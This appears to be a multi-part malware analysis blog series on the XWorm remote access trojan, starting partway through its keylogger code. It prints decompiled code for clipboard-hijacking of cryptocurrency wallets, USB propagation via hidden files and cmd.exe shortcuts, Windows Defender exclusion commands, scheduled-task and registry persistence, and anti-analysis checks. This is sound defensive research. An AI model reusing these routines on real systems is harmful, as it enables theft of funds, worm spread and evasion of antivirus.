					if (object.Equals(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.Jqg66CPRiPks, nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i()))
					{
						streamWriter.Write(RuntimeHelpers.GetObjectValue(obj4));
					}
					else
					{
						streamWriter.WriteLine(Environment.NewLine);
						streamWriter.WriteLine("### " + nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i() + " ###");
						streamWriter.Write(RuntimeHelpers.GetObjectValue(obj4));
					}
				}
...
private static string HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i()
		{
			uint num = 0U;
			string text;
			try
			{
				IntPtr intPtr = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.bbQy92NFYzaX();
				nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.xdeCCXgZdixj(intPtr, out num);
				object processById = Process.GetProcessById(checked((int)num));
				object obj = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(processById, null, "MainWindowTitle", new object[0], null, null, null));
				if (string.IsNullOrWhiteSpace(Conversions.ToString(obj)))
				{
					obj = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(processById, null, "ProcessName", new object[0], null, null, null));
				}
				nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.Jqg66CPRiPks = Conversions.ToString(obj);
				text = Conversions.ToString(obj);
			}
			catch (Exception ex)
			{
				text = "???";
			}
			return text;
		}

Cryptocurrency Capture

After starting the thread that captures keyboard events (keylogger), XWorm starts a new thread by invoking the function ThPsG0ZcwqMa4kJtYpmfUiZCDYdrN4oqfZTPJXN3GUBU4Fn0jO3gkFsMruRx8UdiBqQKAm.

Upon opening the function, we see that it initializes a form:

public static void CaGUhxuUwEJ0()
		{
			Application.Run(new 5WfMxvD8ofo6.NotificationForm());
		}

...
			public NotificationForm()
			{
				Iz7vHvHrDV0G.NativeMethods.SetParent(this.Handle, Iz7vHvHrDV0G.NativeMethods.intpreclp);
				Iz7vHvHrDV0G.NativeMethods.AddClipboardFormatListener(this.Handle);
			}

If we search online, we can find a post from 15 years ago on StackOverflow where a user details how to intercept clipboard events:

private class NotificationForm : Form
 {
 public NotificationForm()
 {
 NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
 NativeMethods.AddClipboardFormatListener(Handle);
 }

 protected override void WndProc(ref Message m)
 {
 if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
 {
 OnClipboardUpdate(null);
 }
 base.WndProc(ref m);
 }
 } //https://stackoverflow.com/questions/2226920/how-do-i-monitor-clipboard-content-changes-in-c

In the user’s response, we see that they override the WndProc function to determine what to do when an event is intercepted.

Analyzing XWorm’s code, we see that it follows the same pattern:

protected override void WndProc(ref Message m)
			{
				if (m.Msg == 797)
				{
					...
					if (this.RegexResult(Iz7vHvHrDV0G.kHHDOMdskKUn) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.fXhxfFj8TkzcJaRHq60e0W7t2kQyE9YQZTdVM))
					{
						object obj = Iz7vHvHrDV0G.kHHDOMdskKUn.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.fXhxfFj8TkzcJaRHq60e0W7t2kQyE9YQZTdVM);
						c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj));
						qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("BTC Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj)));
					}
					if (this.RegexResult(Iz7vHvHrDV0G.eEjYtL8MRBr2) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.ErPBuuVqXFqHbYonPuxe4T4ztv3SlmKMArdQT))
					{
						object obj2 = Iz7vHvHrDV0G.eEjYtL8MRBr2.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.ErPBuuVqXFqHbYonPuxe4T4ztv3SlmKMArdQT);
						c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj2));
						qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("ETH Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj2)));
					}
					if (this.RegexResult(Iz7vHvHrDV0G.saRbJz6ZQ0Rw) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.1W1aoVjAWOEpcuqC9Lkxd3rmAEv3ya0L3KbR8))
					{
						object obj3 = Iz7vHvHrDV0G.saRbJz6ZQ0Rw.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.1W1aoVjAWOEpcuqC9Lkxd3rmAEv3ya0L3KbR8);
						c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj3));
						qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("TRC20 Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj3)));
					}
				}
				base.WndProc(ref m);
			}

The message type 797 is 0x031D in hexadecimal, which corresponds to WM_CLIPBOARDUPDATE.

The function RegexResult looks for patterns in the clipboard content that are associated with cryptocurrency wallets:

		private bool RegexResult(Regex pattern)
			{
				return pattern.Match(5WfMxvD8ofo6.NotificationForm.currentClipboard).Success;
			}
...
		public static readonly Regex kHHDOMdskKUn = new Regex("\\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,45}\\b");

		public static readonly Regex eEjYtL8MRBr2 = new Regex("\\b(0x)[a-zA-HJ-NP-Z0-9]{40,45}\\b");

		public static readonly Regex saRbJz6ZQ0Rw = new Regex("T[A-Za-z1-9]{33}");

The first pattern corresponds to Bitcoin wallets, the second to Ethereum, and the third to TRON.

XWorm analyzes if the clipboard content is associated with one of these wallets and if it does not match certain specific values. If both conditions are met, it replaces the clipboard content with values stored encrypted in the malware’s code; these values were decrypted in memory when the malware was started and correspond to Bitcoin, Ethereum, and TRON wallets, respectively.

In summary, XWorm does the following:

Intercepts the clipboard content (when someone clicks “copy” or presses Control+C).
Checks if the clipboard content matches the pattern of a cryptocurrency wallet.
If so, it modifies the clipboard content to contain the attacker’s wallet.

Since cryptocurrency wallets do not follow intuitive names and are composed of alphanumeric values, people usually copy and paste these values from their cryptocurrency manager/seller websites/chats; the attacker takes advantage of this behavior to replace the user’s wallet without them noticing, thus getting the funds transferred to them.

Next Steps

XWorm continues to prove itself as a versatile malware with multiple capabilities; from infection through USBs, cryptocurrency theft, to keylogging, XWorm highlights the various opportunities an attacker seeks to obtain something from their victim.

In the next article, we will look at how XWorm notifies that it has infected a new victim, as well as how it updates itself.

009 - Decoding XWorm: Lateral Movement

Tue, 18 Feb 2025 12:08:00 -0500

Introduction

In the previous article, we explored how XWorm ensures its continuous presence on the infected machine through persistence techniques. In this article, we will examine how it spreads to other devices.

Lateral Movement

Lateral movement is a tactic used by attackers to navigate within a network and infect new devices. An attacker can employ multiple lateral movement techniques depending on the type of attack, such as exploiting a vulnerability (EternalBlue in the case of WannaCry), abusing authentication mechanisms (Pass The Hash), leveraging native functionalities (network shares), etc.

Once persistence techniques are established, the malware invokes the function q09aZ2HxLB2r7DZRcQehSbnhQjcv68H13cng3irqozRXULuHcNHm5TSVp2VEGsuyIEpZkX, which starts a new thread using the ThreadStart delegate:


public static void q09aZ2HxLB2r7DZRcQehSbnhQjcv68H13cng3irqozRXULuHcNHm5TSVp2VEGsuyIEpZkX()
		{
class.thread = new Thread(new ThreadStart(class.OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik), 1);
				class.thread.Start();
			}

When calling the Thread.Start method, the function OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik is invoked, which performs the lateral movement.

Upon an initial review of the function, we notice that it is significantly more difficult to analyze compared to the rest of the code we have examined so far:


private static void OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik()
		{
			int num2;
			int num4;
			object obj7;
			try
			{
				IL_0000:
				int num = 1;
				object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("wscript.shell", ""));
				IL_0018:
				checked
				{
					for (;;)
					{
						IL_074D:
						num = 3;
						if (!true)
						{
							break;
						}
						IL_001D:
						ProjectData.ClearProjectError();
						num2 = 1;
						IL_0025:
						num = 5;
						RegistryKey registryKey = 2HmONKQojJhuyq7J5js7wzrwlEjPZ2gvOmWLZ.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
						IL_0043:
						num = 6;
...

The code appears to be either improperly decompiled or obfuscated: we observe infinite loops, conditions like “if (!true)”, references to other parts of the code (IL_074D), and multiple assignments of numbers to variables (num = 5).

Since we do not have the malware’s source code, we cannot determine how this function originally looked. However, I can think of three possible explanations:

The attacker obfuscated this function to make analysis more difficult.
There was an issue during the function’s decompilation.
The attacker reused code from another malware.

The first two options seem unlikely. If the attacker intended to hinder analysis, why not obfuscate the rest of the code as well? As we will see later, the malware’s primary goal (its RAT functions) is not obfuscated in the same way. The other possibility is a decompiler error, but why would it only affect this function?

Based on this, I lean toward the third option: the attacker reused code from their own toolkit or another malware, where obfuscation was likely applied.

Step-by-Step Analysis

Although analyzing this function seems challenging, we can focus on the lines of code that appear to execute specific actions.

The function begins by modifying a registry key:

Clean code:

RegistryKey registryKey = class.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
	if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue("ShowSuperHidden"), 1, false))
		{
			registryKey.SetValue("ShowSuperHidden", 0);
		}

The purpose of ShowSuperHidden is not immediately clear—are there hidden and super-hidden files?

Delving into Microsoft’s documentation, we find that this flag indicates whether protected system files should be displayed.

XWorm sets the flag to 0, which disables the display of protected system files.

Once the registry key is modified, the malware iterates through the system’s drives and checks which ones are usable and removable (e.g., USBs): Clean code:

DriveInfo[] drives = DriveInfo.GetDrives(); //get drives
	int i = 0;
	while (i < drives.Length) //iterate through drives
		{
			DriveInfo driveInfo = drives[i];
			if (driveInfo.IsReady) //check if drive is usable
				{
					if (driveInfo.DriveType == DriveType.Removable) //check if drive is removable
						{
							...
						}
				}
		}

If the device is removable and ready, the malware retrieves the drive letter (e.g., “D:"), copies a program to its root directory, and sets the program’s attributes to hidden and system: Clean code:

string name = driveInfo.Name; //gets the drive letter
if (!File.Exists(name + programa)) //Checks if a program called "USB.exe" exists on the removable drive
	{
		File.WriteAllBytes(name + programa, File.ReadAllBytes(archivoActual)); //copies itself to the drive with the name "USB.exe"
		File.SetAttributes(name + programa, FileAttributes.Hidden | FileAttributes.System); //configures "USB.exe" as a hidden and system file
	}

What program does the malware copy?
It copies itself under the name “USB.exe”, which was decrypted in memory when XWorm began execution.

Once XWorm copies itself to removable devices and hides, it iterates through every file in each drive using the Directory.GetFiles function. It then hides these files and creates shortcuts to them that execute the malware: Clean code:

string[] files = Directory.GetFiles(name); //get files on the removable drive
int j = 0;
while (j < files.Length) //iterate through each file
	{
		string text = files[j];
		if ((Operators.CompareString(Path.GetExtension(text).ToLower(), ".lnk", false) != 0) & (Operators.CompareString(text.ToLower(), name.ToLower() + programa.ToLower(), false) != 0)) //checks if the file is not a shorcut nor "USB.exe"
			{
				File.SetAttributes(text, FileAttributes.Hidden | FileAttributes.System); //hides the file and sets it as a system file
				object obj = NewLateBinding.LateGet(objectValue, null, "CreateShortcut", new object[] { name + new FileInfo(text).Name + ".lnk" }, null, null, null);
				NewLateBinding.LateSetComplex(obj, null, "windowstyle", new object[] { 7 }, null, null, false, true);
				NewLateBinding.LateSetComplex(obj, null, "TargetPath", new object[] { "cmd.exe" }, null, null, false, true);
				NewLateBinding.LateSetComplex(obj, null, "WorkingDirectory", new object[] { "" }, null, null, false, true);
				NewLateBinding.LateSetComplex(obj, null, "Arguments", new object[] { string.Concat(new string[]
					{
						"/c start ",
						programa.Replace(" ", "\" \""),
						"&start ",
						new FileInfo(text).Name.Replace(" ", "\" \""),
						" & exit"
					}
				)} //creates a shorcut to the file that will also execute "USB.exe"
				...
			}
	}

The code might seem difficult to understand, but if we analyze it step by step, it performs the following actions:

Retrieves all existing files on the removable drive.
Iterates through each file and checks if it is a shortcut (.lnk) or the malware copied in the previous step (USB.exe).
If the file is neither of those, it hides it and marks it as a system file.
Creates a shortcut with the same name as the original file and configures it to execute: "cmd.exe /c start USB.exe & start HiddenFile & exit"

By doing this, each time a user double-clicks the shortcut, XWorm will execute while also opening the original file to avoid raising suspicion.

The next step the malware performs is changing the shortcut icon to match the original file’s icon. Since this is not critical for the analysis, I will not delve into this point.

Once the malware iterates through all the files, it does the same with the folders; it hides them, marks them as protected, and creates a shortcut for each:

string[] directories = Directory.GetDirectories(name);
int k = 0;
while (k < directories.Length)
	{
		string text2 = directories[k];
		File.SetAttributes(text2, FileAttributes.Hidden | FileAttributes.System);
		object obj4 = NewLateBinding.LateGet(objectValue, null, "CreateShortcut", new object[] { name + Path.GetFileNameWithoutExtension(text2) + " .lnk" }, null, null, null);
		NewLateBinding.LateSetComplex(obj4, null, "windowstyle", new object[] { 7 }, null, null, false, true);
		NewLateBinding.LateSetComplex(obj4, null, "TargetPath", new object[] { "cmd.exe" }, null, null, false, true);
		NewLateBinding.LateSetComplex(obj4, null, "WorkingDirectory", new object[] { "" }, null, null, false, true);
		NewLateBinding.LateSetComplex(obj4, null, "arguments", new object[] { string.Concat(new string[]
			{
				"/c start ",
				Strings.Replace(programa, " ", "\" \"", 1, -1, CompareMethod.Binary),
				"&start explorer ",
				Strings.Replace(new DirectoryInfo(text2).Name, " ", "\" \"", 1, -1, CompareMethod.Binary),
				"&exit"
			}
		)}
		...
	}

As we can see, the main difference is that the malware executes "cmd.exe /c start USB.exe & start explorer HiddenFolder & exit", which runs the malware and opens the folder the victim intends to access.

Note on the use of ShowSuperHidden: One might assume that enabling the “Show hidden files and folders” option would reveal all files, but it does not display hidden system files.

Lateral Movement Analysis

In a world where more and more programs spread through networks, I find XWorm’s propagation method particularly interesting. We’ve all used USB drives at some point, both on corporate and personal computers, making this technique capable of infecting multiple devices across different networks (for example, if I use the same USB at home and at my workplace).

Analyzing this technique also allowed me to learn something new about hidden files: not all of them are visible even when enabling the “Show hidden files” option in File Explorer. Through dynamic analysis, I confirmed that even with this option enabled, I couldn’t see the USB.exe program or the hidden folders/files.

Opening the original files after clicking the shorcut and changing the shortcut icons might seem like minor details, but they have a significant impact. Aside from the small arrow indicating a shortcut, a victim would have no way of knowing they executed something unintended. Even if they recognize the icon, we’ve all used shortcuts before, and they might not think twice before double-clicking it.

Next Steps

We’ve seen how XWorm spreads, but what does it do once it’s inside the system? In the next article, we’ll explore how it steals cryptocurrencies and records every keystroke its victim types.

See you in the next article!

008 - Decoding XWorm: Defense Evasion and Persistence

Wed, 22 Jan 2025 12:08:00 -0500

Introduction

In previous articles, we explored how XWorm avoids analysis and detection. In this article, we will focus on its ability to evade defenses and ensure persistence on the system.

Defense Evasion

Defense evasion is a tactic used by attackers to avoid detection by security solutions such as antivirus software, Endpoint Detection and Response (EDR) tools, or firewalls. By employing these techniques, attackers aim to ensure that their malware can operate uninterrupted, concealing its presence while performing malicious actions on the system.

Once the malware’s execution environment has been validated, it proceeds to call the function iPJELYICawSFgzNPNEXj6qKKNQCWZykiDnDoP; this function performs a validation and, if the result is positive, proceeds to execute a block of code:

Before executing the code block, the malware checks if the current user has elevated privileges using the WindowsPrincipal.IsInRole method:

string text;
text = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator).ToString();
return text;

Given that we are administrators on the analysis machine, one would expect the method to return True; however, upon dynamically analyzing the function, we see that this is not the case:

Why does this happen? We can refer to the method documentation to understand the reason:

In Windows Vista, User Account Control (UAC) determines the privileges of a user. If you are a member of the Built-in Administrators group, you are assigned two run-time access tokens: a standard user access token and an administrator access token. By default, you are in the standard user role. When you attempt to perform a task that requires administrative privileges, you can dynamically elevate your role by using the Consent dialog box. The code that executes the IsInRole method does not display the Consent dialog box. The code returns false if you are in the standard user role, even if you are in the Built-in Administrators group. You can elevate your privileges before you execute the code by right-clicking the application icon and indicating that you want to run as an administrator.

The documentation explains why the function returns False: Windows uses a token scheme to determine the current user’s privileges; even if the user belongs to the administrators group, the default token will be for a standard role unless the program is explicitly run with elevated privileges.

Since the malware is not running with elevated privileges, it will not execute the rest of the function; however, we can analyze what it would do statically:

ProcessStartInfo processStartInfo = new ProcessStartInfo();
					processStartInfo.FileName = "powershell.exe";
					processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
					processStartInfo.Arguments = "-ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '" + class1.variable1 + "'";
					Process.Start(processStartInfo).WaitForExit();
					processStartInfo.Arguments = "-ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '" + Path.GetFileName(class1.variable1) + "'";
					Process.Start(processStartInfo).WaitForExit();
					processStartInfo.Arguments = string.Concat(new string[]
					{
						"-ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '",
						class2.variable2,
						"\\",
						Path.GetFileName(class1.variable1),
						"'"
					});
					Process.Start(processStartInfo).WaitForExit();

The program starts an instance of Powershell in a hidden window and proceeds to exclude the following from Windows Defender analysis:

The path where the malware is running (C:\Users\[User]\Desktop\[sample.exe]).
The process of the malware (sample.exe).
A path in AppData concatenated with the malware (C:\Users\[User]\AppData\Roaming\[sample.exe])

Upon analyzing the function, it becomes clear why it checks if the process is running with elevated privileges: to modify Windows Defender settings, administrator privileges are required.

Remember that there are multiple ways to get infected. If an attacker were to embed XWorm within another legitimate program, they could convince their victim to run the program with elevated permissions; for example, installing pirated games often requires “temporarily disabling the antivirus while running the ‘crack tool’ as an administrator to patch the game’s validation”; while this may be true, we could also be unknowingly installing malware like XWorm and excluding it from antivirus analysis.

While excluding the path where the malware is running and the process makes sense, so far we haven’t seen the binary interacting with AppData; this is an indication that the malware will likely copy itself to that path later.

Persistence

Persistence is a tactic that allows attackers to maintain access to a compromised system, even after reboots or attempts to remove the malware. This is achieved by setting up methods for the malware to run automatically when the system boots or the user logs in, ensuring its continuous presence.

XWorm uses 3 persistence methods to maintain access to its victim’s machine; before setting up each persistence method, the malware copies itself to the path C:\Users\[User]\AppData\Roaming\[sample.exe] using the File.WriteAllBytes and File.ReadAllBytes functions:

string text = AppDataPath + "\\" + Path.GetFileName(currentFile);
if (File.Exists(text))
	{
		FileInfo fileInfo = new FileInfo(text);
		fileInfo.Delete();
	}
Thread.Sleep(1000);
File.WriteAllBytes(text, File.ReadAllBytes(currentFile));

Scheduled Task

XWorm creates a Windows task that runs every minute using the command schtasks.exe /create /f /RL HIGHEST /sc minute /mo 1 /tn [MalwareName] /tr "C:\Users\[User]\AppData\Roaming\[MalwareName.exe]". If the process is not running as an administrator, it executes the same command without the /RL HIGHEST parameter; this parameter is used to run the task with elevated privileges.

MITRE ATT&CK technique: T1053.005

Registry Key

XWorm sets the HKCU:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key, which specifies which programs to run when a user logs in.

MITRE ATT&CK technique: T1547.001

Startup Folder

XWorm creates a shortcut to the malware in the path “C:\Users\[User]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”, which is another way for programs to run at user login.

MITRE ATT&CK technique: T1547.001

Next Steps

Lateral movement is a crucial tactic for malware propagation. In the next article, we will explore how XWorm uses USBs to achieve this while avoiding detection.

See you in the next article!

007 - Decoding XWorm: Initial Exploration and Anti-Analysis Techniques

Tue, 14 Jan 2025 12:08:00 -0500

Introduction

In the previous article we identified that the RAT was built using the .NET framework, which makes it easier to analyze due to the wealth of information contained in binaries created with this framework. In this article, we will delve into the techniques XWorm uses to hinder analysis.

Initial Exploration

After opening XWorm in DNSpy, we verify that the names of classes and objects are obfuscated:

It would be tedious to review each class to identify the function where the program starts execution; fortunately, DNSpy displays the entry class and function as a comment:

By clicking on the function name, DNSpy takes us directly to it, where we can see the code that gets executed when the malware starts:

Once execution begins, the malware calls Thread.Sleep, passing as parameters the value stored on the variable sWpIi59HVTjtB0r6P7SRQdLwgcnM2a0ZVHXvX multiplied by 1000. By clicking on the variable, we verify that it has a value of 2, so the value passed to Thread.Sleep is 2000. One of the advantages of analyzing .NET code with DNSpy is that it contains information about the various functions and native methods of the languages that use this framework. When hovering over the function, we can see that it is used to pause the thread for N milliseconds. Since the value passed to the function is 2000, the program halts for 2 seconds.

After sleeping for 2 seconds, the malware enters a try/catch block, where it attempts to execute several operations. If executing these operations fails, the program closes using the Environment.Exit(0) function.

At first glance, it may seem a bit odd what the malware does, as it assigns the result of an operation on a variable to the variable itself:

 Class.variable1 = Conversions.ToString(lnZZgsJ1tVOV.FbmCgvom7sJS(Class.variable1));

If we click on the first variable, qsurotxVBQWuN1wXL7Sl3R7UMOoGherwjkt90, we see that its value is nz4SABi5PYTEufPjSTbCd8mMnZZi6YWaGiwAg1FVXfo=

The value seems to be encoded in Base64; however, attempting to decode it does not yield readable characters:

Runtime decryption

If we click on the FbmCgvom7sJS function, we can understand what operations it performs on the variable:

		public static object FbmCgvom7sJS(string TEFe4AuGLs1t)
		{
			RijndaelManaged rijndaelManaged = new RijndaelManaged();
			MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
			byte[] array = new byte[32];
			byte[] array2 = md5CryptoServiceProvider.ComputeHash(TFIW2FSLtw9S.fOEct6S2qWNI(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.eCx5LqBibLns0nMQEXWWSiIdLt37W7nhFgXiM));
			Array.Copy(array2, 0, array, 0, 16);
			Array.Copy(array2, 0, array, 15, 16);
			rijndaelManaged.Key = array;
			rijndaelManaged.Mode = CipherMode.ECB;
			ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
			byte[] array3 = Convert.FromBase64String(TEFe4AuGLs1t);
			return TFIW2FSLtw9S.kX1tPkTzXln3(cryptoTransform.TransformFinalBlock(array3, 0, array3.Length));
		}

The function performs the following steps:

It initializes an instance of RijndaelManaged, a class used in cryptographic operations.
It initializes an instance of MD5CryptoServiceProvider, which allows for performing MD5 hashing operations.
It creates an array called array (1) of 32 bytes.
It creates another array called array2 (2) that contains the MD5 hash of the value stored on the variable eCx5LqBibLns0nMQEXWWSiIdLt37W7nhFgXiM.
It copies the MD5 hash from array2 (2) into the first 16 bytes of array (1).
It copies the MD5 hash from array2 (2) again into the first array (1), starting at the 15th byte; by doing this, the 15th byte, which was the last one copied in step 5, is overwritten.
It configures the 32-byte array (1), which now contains the duplicated MD5 hash, as the key for the cryptographic algorithm and initializes the method used to decrypt strings.
It obtains the value passed as a parameter to the function and decodes it from Base64.
Finally, it decrypts the byte array resulting from the previous step using the key set in step 7.

By analyzing the function, we can finally understand its purpose: the value of certain variables are encrypted and the malware decrypts them during execution, possibly to prevent values such as URLs or IPs from being easily identified as Indicators of Compromise (IOCs) in static analysis.

While we could create a script to automate the decryption, we can use DNSpy’s debugging capabilities to obtain the decrypted strings. We can press F9 on the line where the first string is decrypted and analyze the result, and F10 to step through each line:

From the decrypted strings, we identify some that may be potentially interesting:

A DDNS.net URL, which is a dynamic DNS service.
What appears to be a port.
The string “<Xwormmm>”
The string “USB.EXE”

Some of the decrypted strings don’t make sense yet, and we will probably have to infer their usage based on the context of the function that invokes them.

Mutex usage

After decrypting the values, the malware enters the function XykaLtFvQmKZ, which attempts to create a Mutex with a specific name, which is stored in the variable eCx5LqBibLns0nMQEXWWSiIdLt37W7nhFgXiM:

Mutexes are commonly used in concurrent programming to lock certain parts of the code and prevent them from being accessed while in use or not yet ready. This happens because, when managing multiple threads, a race condition can occur, where one thread finishes before the thread we expected to finish first.

The parameters to create a Mutex are the following:

initiallyOwned: It does not affect the malware’s objective.
name: name of the Mutex.
createdNew: True if the Mutex got created, False if a Mutex with the requested name already existed.

In this case the malware is running in a single thread, but the malware authors creatively use this type of object by looking at the createdNew response parameter. This way, if a new instance of the malware is started while another is already running, the Mutex with the name defined by the malware will already be created, and the result would be False, causing the program to close. By doing this, the malware authors can ensure that only one copy is running at a time, preventing system performance impact and avoiding suspicion.

Anti-analysis

After ensuring that it is the only instance running, the malware enters the function w8r25j4la24nAJZBLOLGewTPs69UXozPFVUsT. By reviewing the function at a high level, we can see that it performs multiple validations and proceeds to close itself if any of these fail:

Going through each function, the malware performs the following:

It checks if it is running in VMWare or VirtualBox: To do this, the malware retrieves the system’s manufacturer using Select * from Win32_ComputerSystem and compares it with the strings ‘vmware’ and ‘VirtualBox’
Checks if its being debugged:

The malware imports the CheckRemoteDebuggerPresent function from the Kernel32.dll library to verify if the current process is being debugged by an external debugger.

It checks if the SbieDll.dll DLL is loaded:

The library SbieDll.dll belongs to Sanboxie, a program that allows sandboxing and analyzing programs. XWorm uses the GetModuleHandle function to check if the library is loaded.

It checks if it is running on Windows XP:
It checks if it is running on a cloud provider: The hosting parameter from the ip-api.com website indicates whether the IP belongs to a cloud provider.

These validations can serve different purposes:

The check to see if the environment is virtualized, that the malware is not running on XP, and that it’s not running on a cloud provider could be due to the malware’s capabilities, which may require physical hardware.
The check to see if it’s running on a cloud provider might be to prevent analysis by solutions like VirusTotal or AnyRun, which operate on cloud services (AWS/GCP/Azure).
The check to see if it’s being analyzed and if the Sandboxie library is present may be intended to hinder detection by dynamic analysis tools.

If we were to continue with dynamic analysis on a PC with VMWare or VirtualBox, the program would close due to the first check:

To avoid this, we can set a breakpoint before the manufacturer is validated and change its value in memory:

It is also possible to save the program after patching the validation; however, I do not recommend this until fully understanding what the malware does. The malware could proceed to corrupt files or encrypt the system, so it’s better to keep its initial function and allow it to close if we were to run it by mistake or in case it starts automatically using persistence techniques.

Conclusions

In this analysis, we have delved into the initial execution stages of XWorm, uncovering several techniques it uses to hinder analysis and ensure its execution in specific environments. Some of the key points include:

Obfuscation and Dynamic Decryption

XWorm uses Rijndael-based encryption and Base64 encoding to protect sensitive strings such as URLs, ports, and filenames. This approach aims to hide potential Indicators of Compromise (IOCs) until they are executed in memory.

Mutex usage

The malware ensures that only one instance is running by creating a unique Mutex. This prevents raising suspicion due to excessive system consumption.

Anti-Analysis Validations

XWorm’s multiple checks, such as detecting virtualized environments, external debuggers, and the presence of analysis libraries like Sandboxie, make dynamic analysis more difficult and aim to prevent execution in controlled environments.

These techniques not only show a high level of sophistication in the development of XWorm but also highlight the importance of advanced tools and methodologies in malware analysis. By overcoming these barriers, we can understand the behavior of such threats, anticipate their movements, and develop better defenses.

Next Steps

In the next articles of the series, we will explore XWorm’s defense evasion strategies, persistence techniques, and functional modules such as a keylogger and cryptocurrency mining capabilities.

See you in the next article!

006 - Decoding XWorm: Introduction

Fri, 10 Jan 2025 10:00:49 -0500

Introduction

XWorm, a sophisticated Remote Access Trojan (RAT) developed in .NET, is a favorite tool among cybercriminals due to its extensive feature set and constant updates. From anti-analysis techniques and communication with its creators via Telegram to Bitcoin theft, this malware exemplifies the current threat landscape.

In this seven-part series, we will analyze XWorm step by step, uncovering its internal mechanisms and the techniques it employs to achieve its objectives.

In this first post, we’ll lay the groundwork for understanding XWorm and its analysis. We’ll explore how to identify the type of binary we’re working with, review some basic .NET concepts, and introduce the tools we’ll use throughout the series.

Background

XWorm was first identified in 2022; since then, it has constantly evolved, incorporating new techniques to evade analysis and remain relevant in the current threat landscape. The Netskope team recently discovered that XWorm underwent a new update to include additional capabilities, such as:

The ability to remove plugins (earlier versions introduced plugin usage).
The ability to measure response time between the C2 server and the malware; this capability enhances a method previously found in earlier samples of this malware, including the one we will analyze in this series.
The ability to modify the Operating System’s Hosts file, enabling an attacker to redirect web traffic to their server:

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
